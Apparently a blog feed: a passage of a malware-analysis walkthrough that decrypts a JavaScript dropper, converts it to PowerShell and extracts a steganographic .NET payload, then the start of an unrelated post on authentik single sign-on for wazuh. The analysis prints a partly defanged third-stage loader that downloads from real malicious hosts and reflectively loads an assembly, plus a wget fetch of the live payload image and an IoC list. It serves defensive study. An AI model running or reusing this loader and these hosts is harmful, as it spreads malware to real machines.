<ol>
<li><p>use cyberchef and fiddle with the parameters until you find the correct decryption setup</p>
</li>
<li><p>use ChatGPT to change this beautiful mess into PowerShell and copy paste to victory ✌️🥇</p>
</li>
</ol>
<p>Why powershell you ask?! because we use part of the .net API and that is easiest to use in combination with powershell / C# (and I hate C#…) 😅</p>
<p>So you go and isolate the important function and make it easier for chatgpt to understand by removing the parameters and plugging them directly into the function and asking it to make this beautiful powershell PLEASE</p>
<p>intput:</p>
<pre><code class="lang-jsx"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">decrypt_base64_enc_blob</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">var</span> key = <span class="hljs-string">"12345678901234567890123456789012"</span>;
    <span class="hljs-keyword">var</span> base64_string = <span class="hljs-string">"U6QYC302+gYnmiIMvSYl13luCzfghsk1EkWwMHcen71WAx/vxj2b4kzthulb/qIZXPyDDrOxbK47oModVkUVOH21YwWC+x8RiXfTfQ2bE7IhkHyxCre0Q6MZ3FzjjbECenlR1SjzO6ly81brt+kwPIung8Tbtxkrz9OYBRofhtsfRxZKticveCKUAbys+okxzO4eNBEOQkmi6Kj/cr9aLGxbMUaCuPN2VQqUDps3xie2fPGMqz9lkqupoLsym58il3tKxJe/EZqnoMzLUeeEp8n+MTjmHa1Hwtrau91+s1XLZiDXKstLwccfr6nvKuo50f6FXQqgpJTOHwbEsklnfzmqAVYK+GqAQxtvDfK9LceiFVGMKZYzL84LWy02htydZNMSWZkdjETKc5EXg/KdPsDN0yT+vWdzp3Hiz4UtGzopY3G8G2iXjVazuZArPBwXEius9bG1xVkmJbCPHmcIa/KI1+Une/F+yXvWwoheJBDiGMxnvFQ4CYpBs0qpOSB+95s57xb0xFkuEGMcYPytyyyJsDZ5adf1d7sTvn0+ZjpGxMz5VAG54502ORVT+NprlvaXQXyl2rSAa9aoe8o9L+rBf/1KZeFEn854uNZxdguBYzLBG+4dA9/zsYH/3c9wyY88rXkSgMy8HdyobbFN6K6n2ZQaT7BTUVx2cEMrYhEzeHVwudcIKzj3U/V1CcBz66WiYkuuSBnjje8a+XxGhrjnuIm08CtHTDAumP8XT+VRUlqVSlMUuyGbPILcxwt2mj4zKLlPX5ciL4ebA/poNwNYN2webG/ctHxkGGzm+JJByu/Na23dzI8ZlxaomV+s4lzrOuEeBENyiT6tZkEr0nfNS2sXx5spPEqC3hVVkKASkSE0jeWNLms0wWvoMGxBPJUhPLwcgZPROgbQv6kgE20+Pdgt7ezY3pgadfRV/jg4JtTeezA1w2WCvU0cL2RDyTYDhmiIU7sDNEFapSEU16NBDe4zi7+3Ypz6y8Nzzo2sI2l5uhrVdT2g2UzYoDM8c30/dgwZqLJzWHZXax/uDnlmvcBbxvZ1YFSg4m6/I+RUzF46L0EQs+bkVQJmcolKX8tH5AP+jFzarKgA8OhPZexsdnXe0xSBRyuIJwrtNzIBRYzgSF1MqRU7i+IMD2GYc5JvWDNLJ3H/tEpknDIV9XLhq5bKQm35eOHTnFcrAceZWoTFrpToUxiQa94/cOIgb8Yialab0HyoQ6S9wPTVbo42hLnfutxrajHsAIiciipEbDAsGgDwzHv/48pFjv8G1dqrlO0Adp90KtLuN3W44neUZur8pmAmJWsPEogHgu8b1ulKQqEoWMZxkIcwsIFQa+T5+MabIocphFn5rExhwjQm9kTDvPK1xMzubNPijXdVWYBp+Hkf+ViLP8XO3+3DTFwK4o9AvkyFQz6haiR/jRgqDTaBNc+6ny8nrhJhK6RG7UvUn6MCSQy/2mMtR4CVuFg+i7sJbVnokoWpeDhijEOQREVC4FfRmJ/BlKe1FO0xJBAYaVSKc1kASDRfd4EwZx4ld4Z4/7oFsAdeozcFrP1o+FlpUwOx9jNqxdFLk+wc+mELjwO84JbTeNQ/tAnxpBZnepD0irx/ZZLK7EirERyZb7w2N2AONiKvemcUaews9Yi35xSeGdR7458ZgrQ27RxKBJt8dE9bliGsAswEZpPhBsToyC+DTTemG2KgHfC4663PpKwZ5L79Dw2NIGf4"</span>;
    <span class="hljs-keyword">var</span> pacientemente = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"System.Security.Cryptography.RijndaelManaged"</span>);
    pacientemente.Mode = <span class="hljs-number">1</span>; <span class="hljs-comment">// CipherMode.CBC</span>
    pacientemente.Padding = <span class="hljs-number">3</span>; <span class="hljs-comment">// PaddingMode.Zeros</span>
    pacientemente.BlockSize = <span class="hljs-number">128</span>;
    pacientemente.KeySize = <span class="hljs-number">256</span>;

    <span class="hljs-keyword">var</span> metrofotografia = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"System.Text.UTF8Encoding"</span>);
    <span class="hljs-keyword">var</span> zunga = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"System.Security.Cryptography.SHA256Managed"</span>);
    <span class="hljs-keyword">var</span> desenfrechar = zunga.ComputeHash_2(metrofotografia.GetBytes_4(key));
    pacientemente.Key = desenfrechar;

    <span class="hljs-keyword">var</span> bracaraugustano = omphalorrhagia(base64_string);

    <span class="hljs-keyword">var</span> anete = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    anete.Type = <span class="hljs-number">1</span>; <span class="hljs-comment">// adTypeBinary</span>
    anete.Open();
    anete.Write(bracaraugustano);
    anete.Position = <span class="hljs-number">0</span>;

    <span class="hljs-keyword">var</span> saltadouro = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    saltadouro.Type = <span class="hljs-number">1</span>; <span class="hljs-comment">// adTypeBinary</span>
    saltadouro.Open();
    saltadouro.Write(anete.Read(<span class="hljs-number">16</span>));
    saltadouro.Position = <span class="hljs-number">0</span>;
    pacientemente.IV = saltadouro.Read();

    anete.Position = <span class="hljs-number">16</span>; <span class="hljs-comment">// Move to after the IV</span>
    <span class="hljs-keyword">var</span> encordoadura = anete.Read();
    <span class="hljs-keyword">var</span> trautar = pacientemente.CreateDecryptor();

    <span class="hljs-keyword">var</span> viga = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    viga.Type = <span class="hljs-number">1</span>; <span class="hljs-comment">// adTypeBinary</span>
    viga.Open();
    viga.Write(encordoadura);
    viga.Position = <span class="hljs-number">0</span>;

    <span class="hljs-keyword">var</span> roleiro = trautar.TransformFinalBlock((viga.Read()), <span class="hljs-number">0</span>, viga.Size);
    <span class="hljs-keyword">var</span> powershell_command = metrofotografia.GetString((roleiro));

    anete.Close();
    saltadouro.Close();
    viga.Close();

    <span class="hljs-keyword">return</span> powershell_command;
}
</code></pre>
<p>because the script requires activex and dotnet api’s to be available we try to convert it to powershell so that we can easily execute it (make sure to copy and paste the key + base64_string from the original script afterwards, because chatgpt likes to hallucinate long strings and not take the original one’s - dont ask me how I found out 😅)</p>
<p>You can use the following prompt:</p>
<pre><code class="lang-jsx">what would <span class="hljs-built_in">this</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">look</span> <span class="hljs-title">like</span> <span class="hljs-title">in</span> <span class="hljs-title">powershell</span> ``` &lt;<span class="hljs-title">PASTE_FUNCTION_HERE</span>&gt;</span>
</code></pre>
<pre><code>
![](https:<span class="hljs-comment">//cdn.hashnode.com/res/hashnode/image/upload/v1709582269909/60cad2f6-1439-4931-ad9c-8546380e2781.png align="center")</span>

You should get back something like the following script:

<span class="hljs-string">``</span><span class="hljs-string">`powershell
function Decrypt-Base64EncryptedBlob {
    param (
        [string]$base64String
    )

    # Define the key
    $key = "12345678901234567890123456789012"

    # Create RijndaelManaged object
    $rijndael = New-Object System.Security.Cryptography.RijndaelManaged
    $rijndael.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $rijndael.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
    $rijndael.BlockSize = 128
    $rijndael.KeySize = 256

    # Create SHA256Managed object and compute hash
    $sha256 = New-Object System.Security.Cryptography.SHA256Managed
    $keyBytes = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($key))
    $rijndael.Key = $keyBytes

    # Decode the base64 string
    $decodedBytes = [System.Convert]::FromBase64String($base64String)

    # Extract IV from the beginning of the decoded bytes
    $iv = $decodedBytes[0..15]
    $rijndael.IV = $iv

    # Decrypt the data
    $decryptor = $rijndael.CreateDecryptor()
    $decryptedBytes = $decryptor.TransformFinalBlock($decodedBytes, 16, $decodedBytes.Length - 16)

    # Convert decrypted bytes to string
    $decryptedString = [System.Text.Encoding]::UTF8.GetString($decryptedBytes)

    return $decryptedString
}
$encryptedBase64String = "U6QYC302+gYnmiIMvSYl13luCzfghsk1EkWwMHcen71WAx/vxj2b4kzthulb/qIZXPyDDrOxbK47oModVkUVOH21YwWC+x8RiXfTfQ2bE7IhkHyxCre0Q6MZ3FzjjbECenlR1SjzO6ly81brt+kwPIung8Tbtxkrz9OYBRofhtsfRxZKticveCKUAbys+okxzO4eNBEOQkmi6Kj/cr9aLGxbMUaCuPN2VQqUDps3xie2fPGMqz9lkqupoLsym58il3tKxJe/EZqnoMzLUeeEp8n+MTjmHa1Hwtrau91+s1XLZiDXKstLwccfr6nvKuo50f6FXQqgpJTOHwbEsklnfzmqAVYK+GqAQxtvDfK9LceiFVGMKZYzL84LWy02htydZNMSWZkdjETKc5EXg/KdPsDN0yT+vWdzp3Hiz4UtGzopY3G8G2iXjVazuZArPBwXEius9bG1xVkmJbCPHmcIa/KI1+Une/F+yXvWwoheJBDiGMxnvFQ4CYpBs0qpOSB+95s57xb0xFkuEGMcYPytyyyJsDZ5adf1d7sTvn0+ZjpGxMz5VAG54502ORVT+NprlvaXQXyl2rSAa9aoe8o9L+rBf/1KZeFEn854uNZxdguBYzLBG+4dA9/zsYH/3c9wyY88rXkSgMy8HdyobbFN6K6n2ZQaT7BTUVx2cEMrYhEzeHVwudcIKzj3U/V1CcBz66WiYkuuSBnjje8a+XxGhrjnuIm08CtHTDAumP8XT+VRUlqVSlMUuyGbPILcxwt2mj4zKLlPX5ciL4ebA/poNwNYN2webG/ctHxkGGzm+JJByu/Na23dzI8ZlxaomV+s4lzrOuEeBENyiT6tZkEr0nfNS2sXx5spPEqC3hVVkKASkSE0jeWNLms0wWvoMGxBPJUhPLwcgZPROgbQv6kgE20+Pdgt7ezY3pgadfRV/jg4JtTeezA1w2WCvU0cL2RDyTYDhmiIU7sDNEFapSEU16NBDe4zi7+3Ypz6y8Nzzo2sI2l5uhrVdT2g2UzYoDM8c30/dgwZqLJzWHZXax/uDnlmvcBbxvZ1YFSg4m6/I+RUzF46L0EQs+bkVQJmcolKX8tH5AP+jFzarKgA8OhPZexsdnXe0xSBRyuIJwrtNzIBRYzgSF1MqRU7i+IMD2GYc5JvWDNLJ3H/tEpknDIV9XLhq5bKQm35eOHTnFcrAceZWoTFrpToUxiQa94/cOIgb8Yialab0HyoQ6S9wPTVbo42hLnfutxrajHsAIiciipEbDAsGgDwzHv/48pFjv8G1dqrlO0Adp90KtLuN3W44neUZur8pmAmJWsPEogHgu8b1ulKQqEoWMZxkIcwsIFQa+T5+MabIocphFn5rExhwjQm9kTDvPK1xMzubNPijXdVWYBp+Hkf+ViLP8XO3+3DTFwK4o9AvkyFQz6haiR/jRgqDTaBNc+6ny8nrhJhK6RG7UvUn6MCSQy/2mMtR4CVuFg+i7sJbVnokoWpeDhijEOQREVC4FfRmJ/BlKe1FO0xJBAYaVSKc1kASDRfd4EwZx4ld4Z4/7oFsAdeozcFrP1o+FlpUwOx9jNqxdFLk+wc+mELjwO84JbTeNQ/tAnxpBZnepD0irx/ZZLK7EirERyZb7w2N2AONiKvemcUaews9Yi35xSeGdR7458ZgrQ27RxKBJt8dE9bliGsAswEZpPhBsToyC+DTTemG2KgHfC4663PpKwZ5L79Dw2NIGf4";
Decrypt-Base64EncryptedBlob -base64String $encryptedBase64String</span>
</code></pre><p>paste that into a new Powershell script (it’s convenient to use powershell ISE) and press the green play button in the navigation bar ⬇️</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709582317709/53ad825d-a9e8-4dc3-9306-97aeb3e7ec66.png" alt class="image--center mx-auto" /></p>
<p>The output will be shown in the blue window below ⬆️</p>
<p>If you prettify this script into a more human readable format you will get this 3rd stage payload (I took the liberty to defang it by commenting the last three lines):</p>
<pre><code class="lang-powershell"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">DownloadDataFromLinks</span></span> { <span class="hljs-keyword">param</span> ([<span class="hljs-built_in">string</span>[]]<span class="hljs-variable">$links</span>) 
    <span class="hljs-variable">$webClient</span> = <span class="hljs-built_in">New-Object</span> System.Net.WebClient; 
    <span class="hljs-variable">$shuffledLinks</span> = <span class="hljs-built_in">Get-Random</span> <span class="hljs-literal">-InputObject</span> <span class="hljs-variable">$links</span> <span class="hljs-literal">-Count</span> <span class="hljs-variable">$links</span>.Length; 
    <span class="hljs-keyword">foreach</span> (<span class="hljs-variable">$link</span> <span class="hljs-keyword">in</span> <span class="hljs-variable">$shuffledLinks</span>) { 
        <span class="hljs-keyword">try</span> { 
            <span class="hljs-keyword">return</span> <span class="hljs-variable">$webClient</span>.DownloadData(<span class="hljs-variable">$link</span>) 
            } <span class="hljs-keyword">catch</span> { <span class="hljs-keyword">continue</span> } 
        }; 

        <span class="hljs-keyword">return</span> <span class="hljs-variable">$null</span> 
    }; 
    <span class="hljs-variable">$links</span> = <span class="hljs-selector-tag">@</span>(<span class="hljs-string">'&lt;https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482&gt;'</span>, <span class="hljs-string">'&lt;http://45.74.19.84/xampp/bkp/js_bkp.jpg&gt;'</span>);
    <span class="hljs-variable">$imageBytes</span> = DownloadDataFromLinks <span class="hljs-variable">$links</span>; 
    <span class="hljs-keyword">if</span> (<span class="hljs-variable">$imageBytes</span> <span class="hljs-operator">-ne</span> <span class="hljs-variable">$null</span>) { 
    <span class="hljs-variable">$imageText</span> = [<span class="hljs-type">System.Text.Encoding</span>]::UTF8.GetString(<span class="hljs-variable">$imageBytes</span>); 
    <span class="hljs-variable">$startFlag</span> = <span class="hljs-string">'&lt;&lt;BASE64_START&gt;&gt;'</span>;
    <span class="hljs-variable">$endFlag</span> = <span class="hljs-string">'&lt;&lt;BASE64_END&gt;&gt;'</span>; 
    <span class="hljs-variable">$startIndex</span> = <span class="hljs-variable">$imageText</span>.IndexOf(<span class="hljs-variable">$startFlag</span>); 
    <span class="hljs-variable">$endIndex</span> = <span class="hljs-variable">$imageText</span>.IndexOf(<span class="hljs-variable">$endFlag</span>); 

    <span class="hljs-keyword">if</span> (<span class="hljs-variable">$startIndex</span> <span class="hljs-operator">-ge</span> <span class="hljs-number">0</span> <span class="hljs-operator">-and</span> <span class="hljs-variable">$endIndex</span> <span class="hljs-operator">-gt</span> <span class="hljs-variable">$startIndex</span>) {

       <span class="hljs-variable">$startIndex</span> += <span class="hljs-variable">$startFlag</span>.Length; 
       <span class="hljs-variable">$base64Length</span> = <span class="hljs-variable">$endIndex</span> - <span class="hljs-variable">$startIndex</span>; 
       <span class="hljs-variable">$base64Command</span> = <span class="hljs-variable">$imageText</span>.Substring(<span class="hljs-variable">$startIndex</span>, <span class="hljs-variable">$base64Length</span>); 
       <span class="hljs-variable">$commandBytes</span> = [<span class="hljs-type">System.Convert</span>]::FromBase64String(<span class="hljs-variable">$base64Command</span>); 
       <span class="hljs-variable">$commandBytes</span>;

       <span class="hljs-comment"># defang the script by commenting the dangerous lines</span>
       <span class="hljs-comment">#$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); </span>
       <span class="hljs-comment">#$type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); </span>
       <span class="hljs-comment">#$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.diord46esab/19.412.542.271//:ptth' , 'desativado' , 'C:\\ProgramData\\' , 'Name'))</span>
       }
}
</code></pre>
<p>What does that do though?! 🤔💭</p>
<p>from top to bottom</p>
<p>→ it defines a function that download an image from one random url out of all the urls that have been provided (sometimes called loader)</p>
<p>→ it then defines 2 download links <code>https[:]//uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482</code></p>
<p><code>http[:]//45.74.19.84/xampp/bkp/js_bkp.jpg</code></p>
<p>→ the script only continues if the download was successful and then looks for <code>&lt;&lt;BASE64_START&gt;&gt;</code> and <code>&lt;&lt;BASE64_END&gt;&gt;</code> in the source code of the downloaded images → STEGO or <code>Steganography</code> , that means hiding malware / code in images</p>
<p>Ok so we need internet access to check the images → go to browserling and see if one of the urls is still up → we get lucky, the first one works 🎉</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709582586189/2f72a24a-d0e6-4ea8-938a-3331a09188dc.png" alt class="image--center mx-auto" /></p>
<p>Ok now swap into a linux throw-away VM and use <code>wget</code> to download the image from the server</p>
<pre><code class="lang-jsx">wget https:<span class="hljs-comment">//uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482 -O image.jpg</span>
</code></pre>
<p>and then we check if we can see <code>BASE64_START</code> in the image source with grep</p>
<p><code>grep -aHr "BASE64_START" image.jpg</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709582647128/2fd58943-4498-4df8-a071-eb7a6f055e47.png" alt class="image--center mx-auto" /></p>
<p>This was a terrible mistake 😅 and our terminal get’s overflown with text 😵‍💫😬</p>
<p>BUT at least we know that the code is in the image → so now we want to extract it</p>
<p>we can either transfer the <code>image.jpg</code> with a temporary python webserver / sftp or another method of your choice</p>
<p>→ this file needs to get into your flareVM Windows machine</p>
<p>You can also download it from here:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709582682888/85cfcf03-155c-4244-9194-a0a28b8ded30.png" alt class="image--center mx-auto" /></p>
<p>Then you modify the stage3 PowerShell script to only isolate the base64 code:</p>
<pre><code class="lang-powershell">    <span class="hljs-comment"># read image as bytes from the location it is in -&gt; adjust this to your setup</span>
    <span class="hljs-variable">$imageBytes</span> = [<span class="hljs-type">System.IO.File</span>]::ReadAllBytes(<span class="hljs-string">"C:\\Users\\Administrator\\Downloads\\image.jpg"</span>); 

    <span class="hljs-keyword">if</span> (<span class="hljs-variable">$imageBytes</span> <span class="hljs-operator">-ne</span> <span class="hljs-variable">$null</span>) { 
        <span class="hljs-variable">$imageText</span> = [<span class="hljs-type">System.Text.Encoding</span>]::UTF8.GetString(<span class="hljs-variable">$imageBytes</span>); 
        <span class="hljs-variable">$startFlag</span> = <span class="hljs-string">'&lt;&lt;BASE64_START&gt;&gt;'</span>;
        <span class="hljs-variable">$endFlag</span> = <span class="hljs-string">'&lt;&lt;BASE64_END&gt;&gt;'</span>; 
        <span class="hljs-variable">$startIndex</span> = <span class="hljs-variable">$imageText</span>.IndexOf(<span class="hljs-variable">$startFlag</span>); 
        <span class="hljs-variable">$endIndex</span> = <span class="hljs-variable">$imageText</span>.IndexOf(<span class="hljs-variable">$endFlag</span>); 

        <span class="hljs-keyword">if</span> (<span class="hljs-variable">$startIndex</span> <span class="hljs-operator">-ge</span> <span class="hljs-number">0</span> <span class="hljs-operator">-and</span> <span class="hljs-variable">$endIndex</span> <span class="hljs-operator">-gt</span> <span class="hljs-variable">$startIndex</span>) {

           <span class="hljs-variable">$startIndex</span> += <span class="hljs-variable">$startFlag</span>.Length; 
           <span class="hljs-variable">$base64Length</span> = <span class="hljs-variable">$endIndex</span> - <span class="hljs-variable">$startIndex</span>; 
           <span class="hljs-variable">$base64Command</span> = <span class="hljs-variable">$imageText</span>.Substring(<span class="hljs-variable">$startIndex</span>, <span class="hljs-variable">$base64Length</span>); 
                        <span class="hljs-comment"># write the base64 command to a file called base64stage3.txt in the downloads folder</span>
           <span class="hljs-variable">$base64Command</span> | <span class="hljs-built_in">out-file</span> <span class="hljs-literal">-filepath</span> C:\\Users\\Administrator\\downloads\\base64stage3.txt;
        }
}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709582830070/bb62ed05-d1ef-4285-9b76-0faa0982a326.png" alt class="image--center mx-auto" /></p>
<p>Then proceed to download the base64stage3.txt and plug it into cyberchef</p>
<p><a target="_blank" href="https://gchq.github.io/CyberChef">https://gchq.github.io/CyberChef</a></p>
<p>in the top right, click <code>Open file as input</code> ⬇️</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709582847528/a51eef8e-9df9-40d5-894a-4b93b9b81edf.png" alt class="image--center mx-auto" /></p>
<p>Then select the correct file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709582868626/8c506481-772a-4b45-83e4-9f9646fb1975.png" alt class="image--center mx-auto" /></p>
<p>and setup the following recipe:</p>
<p>decode text → <code>UTF-16LE</code> → from base64</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709582917238/53dc8aba-f14d-40d7-bd0b-df870139e25a.png" alt class="image--center mx-auto" /></p>
<p>You can see on the right side that there is a <code>specific</code> readable line that should scare you 😬</p>
<p><code>This program cannot be run in DOS mode.</code></p>
<p>That means this is a binary, a PE file to be exact (portable executable).</p>
<p>What do we do with it? 🤔</p>
<p>First, download the file from cyberchef ⬇️</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709583084913/c84b35c8-af12-4b24-b2cb-5677033ea31f.png" alt class="image--center mx-auto" /></p>
<p>Throw it back into flareVM and see if you can decipher some of it’s content</p>
<p>As we know that this is a PE file we want to use the PE tools available with flarevm to have a look inside, e.g. use <code>CFF Explorer</code> from the <code>Tools</code> → <code>PE</code> directory and load the exe file ⬇️</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709583096171/43d0bedf-8e4a-400e-9ce8-801bbcb31602.png" alt class="image--center mx-auto" /></p>
<p>Here you can see some interesting information on the right side → 1. thisi s a portable executable for 32 bit architecture (x86) AND this is a .NET assembly</p>
<p>The last part should get you excited because that means we can easily decompile it with 2 clicks 🥳</p>
<p>At the bottom you can also see a visual basic file that might be interesting in the future <code>Projetoautomacao.vb</code> which btw. appears to be Portuguese / Brazilian</p>
<p>Wonderful, if you want to decompile the binary and look at the source code either <code>dnSpy.exe</code> or <code>ILSpy.exe</code> are your favorite friends (its the same tool basically)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709583163356/43aa357f-0540-41c1-a953-e3b289fc7afd.png" alt class="image--center mx-auto" /></p>
<p>Open it → click on File → Open → select the correct malware.exe file and wait a couple of seconds for the decompilation to finish</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709583177502/3cc29fc5-ab7e-4774-9497-6affa64f1fca.png" alt class="image--center mx-auto" /></p>
<p>Once that is done you should see a new entry in the <code>Assemblies</code> list on the left, called <code>download</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709583189102/766ecc6d-6f3d-4249-b16d-3d0325d5d29a.png" alt class="image--center mx-auto" /></p>
<p>We wont go into more details today but feel free to look around 🙂</p>
<p>Back to our stage3 payload → We have one more interesting url that we have not looked at yet:</p>
<pre><code class="lang-c">txt.diord46esab/<span class="hljs-number">19.412</span><span class="hljs-number">.542</span><span class="hljs-number">.271</span><span class="hljs-comment">//:ptth</span>
</code></pre>
<p>This might look a little interesting but lucky for us you are a great backwards-reader 🧑‍🏫</p>
<p>For those of you who are not → <code>http[:]//172.245.214.91/base64droid.txt</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709583233792/f684b90d-80b3-480a-88f9-c953400e61b3.png" alt class="image--center mx-auto" /></p>
<p>When you try opening the url with browserling it unfortunately fails to load so most likely it’s dead 💀</p>
<p>… but still a good IoC in the filename and IP address for future shenanigans.</p>
<p>and this friends is how you can report your collected IoCs / urls from malware.</p>
<h2 id="heading-iocs">IoCs</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>comprobante_swift89534657687.js</td></tr>
</thead>
<tbody>
<tr>
<td>https[:]<a target="_blank" href="//paste.ee/d/ARhCV">//paste.ee/d/ARhCV</a></td></tr>
<tr>
<td>https[:]<a target="_blank" href="//uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482">//uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482</a></td></tr>
<tr>
<td>http[:]<a target="_blank" href="//45.74.19.84/xampp/bkp/js_bkp.jpg">//45.74.19.84/xampp/bkp/js_bkp.jpg</a></td></tr>
<tr>
<td>http[:]<a target="_blank" href="//172.245.214.91/base64droid.txt">//172.245.214.91/base64droid.txt</a></td></tr>
</tbody>
</table>
</div><p>PS.: if you read until here you are my favorite! Also, I am filming the whole process right now but won't be able to publish it before the post goes out so feel free to check out the YouTube channel for a video walkthrough in the next day(s):</p>
<p><a target="_blank" href="https://youtube.com/@maikroservice">https://youtube.com/@maikroservice</a></p>
<p>THX 💜 and happy Hunting 🎯</p>
]]></content:encoded></item><item><title><![CDATA[Step-By-Step Guide to setup Identity Management for wazuh with authentik]]></title><description><![CDATA[Centralized Identity Management when done right gives you and your users the freedom to only remember one password to login to multiple services - single sign-on coupled with Multi-Factor Authentication (MFA) increases security - but... how would you...]]></description><link>https://maikroservice.com/identity-management-wazuh-and-authentik</link><guid isPermaLink="true">https://maikroservice.com/identity-management-wazuh-and-authentik</guid><category><![CDATA[hacking]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[blueteam]]></category><category><![CDATA[SIEM]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Thu, 09 Nov 2023 20:56:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1699526068023/0fd774fa-208c-4052-ba5c-ef0091a6cc16.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Centralized Identity Management when done right gives you and your users the freedom to only remember one password to login to multiple services - single sign-on coupled with Multi-Factor Authentication (MFA) increases security - but... how would you start?</p>
<h1 id="heading-getting-started-with-identity-management">Getting started with Identity Management</h1>
<p>The first step could be to define a use-case in your IT environment (home lab or business) where you would want/need a single-sign on solution.</p>
<p>Let us assume you have a Security Information and Event Management System (SIEM) - and let us assume that your favorite system is wazuh (https://wazuh.com). Wazuh has it's own user database/management, and lucky for us wazuh supports external identity providers as well.</p>
<p><em>Ok, but what does an identity provider to actually?</em></p>
<h2 id="heading-identity-provider-overview">Identity Provider Overview</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699530128915/d744292a-aa08-4650-88e9-83e53fb9ffd4.png" alt class="image--center mx-auto" /></p>
<p>Essentially, an identity provider is a piece of software that sits in the middle between your users and the service they want to use.</p>
<p>It takes username/password and sometimes another factor (one-time passcode, fingerprint/biometric data, key-fobs) and when the correct ones were provided it sends a token (long text) to the connected services.</p>
<p>These tokens allow other connected services to know WHO the user is and IF they are authenticated correctly.</p>
<h2 id="heading-authentik-container-setup">authentik container setup</h2>
<p>The easiest way to setup authentik is to use docker compose (<a target="_blank" href="https://goauthentik.io/docs/installation/docker-compose">https://goauthentik.io/docs/installation/docker-compose</a>) - first you download the <code>docker-compose.yml</code>, then generate secure passwords in an environment file, define the outgoing ports and spin up the containers.</p>
<pre><code class="lang-bash">mkdir authentik &amp;&amp; <span class="hljs-built_in">cd</span> authentik

wget https://goauthentik.io/docker-compose.yml

wget https://get.docker.com/ -O get-docker.sh

bash get-docker.sh

<span class="hljs-comment"># optionally - install pwgen to generate passwords</span>
sudo apt-get install -y pwgen

<span class="hljs-built_in">echo</span> <span class="hljs-string">"PG_PASS=<span class="hljs-subst">$(pwgen -s 40 1)</span>"</span> &gt;&gt; .env
<span class="hljs-built_in">echo</span> <span class="hljs-string">"AUTHENTIK_SECRET_KEY=<span class="hljs-subst">$(pwgen -s 50 1)</span>"</span> &gt;&gt; .env
<span class="hljs-built_in">echo</span> <span class="hljs-string">"COMPOSE_PORT_HTTP=80"</span> &gt;&gt; .env
<span class="hljs-built_in">echo</span> <span class="hljs-string">"COMPOSE_PORT_HTTPS=443"</span> &gt;&gt; .env 

docker compose up -d
</code></pre>
<p>You can run <code>docker ps</code> to check if all the containers are running correctly, should look like the screenshot below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699533996003/f249b2ec-e165-4293-b5c6-99bdab8c8cef.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-initial-authentik-admin-account-setup">Initial authentik admin account setup</h3>
<p>The next step is to create a password for the default administrator account (<code>akadamin)</code> for authentik by visiting:</p>
<p><code>https://&lt;IP_or_hostname_of_authentik&gt;/if/flow/initial-setup/</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699532565441/d8f56fe8-1fd9-4ca6-97c5-1b9560af3ab6.png" alt class="image--center mx-auto" /></p>
<p>Enter your admin email, and the password twice - press that <code>Continue</code> button and you will be logged in as the administrator.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699532693542/55bb5d41-dade-47fd-a5bb-42783f8baa8a.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-saml-security-assertion-markup-language">SAML - Security Assertion Markup Language</h2>
<p>We will use SAML to manage the single sign-on (SSO) - it is one of the many standards you will come across among Leightweight Directory Access Protocol (LDAP), Open Authorization (OAuth2).</p>
<p>Our SIEM wazuh can use SAML or LDAP for external auth and since LDAP usually requires a service account with a password (pretty insecure if you ask me) we will use SAML.</p>
<h2 id="heading-saml-setup-in-authentik-user-group">SAML Setup in authentik - user / group</h2>
<p>First, I would suggest to create a dedicated user account, e.g. called <code>wazuh-admin</code> -</p>
<p>to do that click on <code>Directory -&gt; Users</code> in the navigation on the left side of the dashboard.</p>
